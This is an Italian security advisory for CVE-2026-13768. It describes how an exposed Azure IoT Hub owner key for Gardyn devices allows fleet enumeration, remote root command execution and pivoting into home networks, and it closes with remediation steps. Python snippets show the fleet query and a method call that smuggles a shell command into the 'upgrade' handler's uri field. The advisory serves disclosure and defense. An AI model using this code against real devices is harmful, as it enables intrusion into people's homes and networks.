CVE-2026-13768: Credenziale privilegiata dell'IoT Hub — Enumerazione della flotta, RCE sul dispositivo e pivot nella rete domestica

Advisory

Prodotto

Sintesi

Gardyn espone una chiave di accesso condiviso privilegiata iothubowner. L'accesso a questa chiave consente a un utente malintenzionato di invocare una funzione di Azure IoT Hub Registry Manager che restituisce le informazioni di connessione per tutti i dispositivi Gardyn Home Kit e Studio. La stessa chiave consente l'esecuzione di comandi arbitrari su uno specifico dispositivo connesso e può permettere all'attaccante di effettuare il pivot verso altri dispositivi sulla rete domestica della vittima.

Questo è l'advisory IoT Hub (ICSA-26-183-03) che cataloga il blast radius del piano di controllo della credenziale amministrativa. È correlato, ma distinto, da CVE-2025-1242 in ICSA-26-055-03, che catalogava l'esposizione della credenziale iothubowner attraverso risposte API non autenticate, reverse engineering dell'app mobile e analisi del firmware. CVE-2026-13768 cattura ciò che il possesso di quella credenziale consente: enumerazione dell'intera flotta, esecuzione remota di codice per singolo dispositivo e movimento laterale nella LAN domestica.

Dettagli della vulnerabilità

La credenziale

La policy di accesso condiviso iothubowner è la credenziale con i privilegi più elevati in Azure IoT Hub. Microsoft la documenta come riservata esclusivamente all'amministrazione dei servizi backend, e mai da distribuire ai client.

Enumerazione della flotta (Registry Manager)

Con la chiave, IoTHubRegistryManager restituisce le informazioni di connessione per l'intera flotta:

from azure.iot.hub import IoTHubRegistryManager
manager = IoTHubRegistryManager.from_connection_string(hub_conn_string)  # iothubowner
online = manager.query_iot_hub("SELECT * FROM devices WHERE connectionState = 'Connected'")

Esecuzione remota di codice per dispositivo

I metodi diretti cloud-to-device raggiungono qualsiasi dispositivo. Combinati con il percorso di command injection nell'handler upgrade() del dispositivo (CVE-2025-29631), un metodo C2D consente l'esecuzione di comandi root sul dispositivo target:

from azure.iot.hub.models import CloudToDeviceMethod
method = CloudToDeviceMethod(method_name="upgrade", payload={
    "uri": "http://x; <command> ",   # injection sink in upgrade()
    "path": "/tmp/x", "services": []})
manager.invoke_device_method(device_id, method)

Pivot nella rete domestica

Ogni dispositivo si trova sulla rete WiFi domestica del cliente. L'esecuzione di comandi sul dispositivo fornisce un punto d'appoggio dietro il firewall domestico, dal quale un attaccante può scansionare la LAN e interagire con altri host (router, NAS, telecamere, serrature intelligenti, computer personali). Il dispositivo è il punto di pivot: è già all'interno della rete. Questa è la condizione di movimento laterale Gr0m-013.

Mappatura dei riscontri coordinati

Rimedio

Secondo ICSA-26-183-03, Gardyn dichiara che l'infrastruttura IoT Hub implementata è stata aggiornata per affrontare le vulnerabilità elencate.

1. Ruotare la credenziale amministrativa iothubowner (interrompe l'accesso iniziale).
2. Emettere credenziali per dispositivo con privilegi minimi; ritirare le chiavi amministrative a livello di flotta da qualsiasi percorso raggiungibile dal client.
3. Eliminare il sink di command injection upgrade() (CVE-2025-29631) per rimuovere la primitiva RCE.
4. Applicare l'allowlisting dei comandi per i metodi diretti.
5. Abilitare la registrazione degli accessi di IoT Hub e gli avvisi di anomalia (il fornitore ha dichiarato a CISA che non esisteva alcuna registrazione degli accessi sugli endpoint interessati durante la finestra di esposizione).

Ricercatore: Michael Groberman (Gr0m) · Caso: CERT/CC VU#653116 · Advisory: ICSA-26-183-03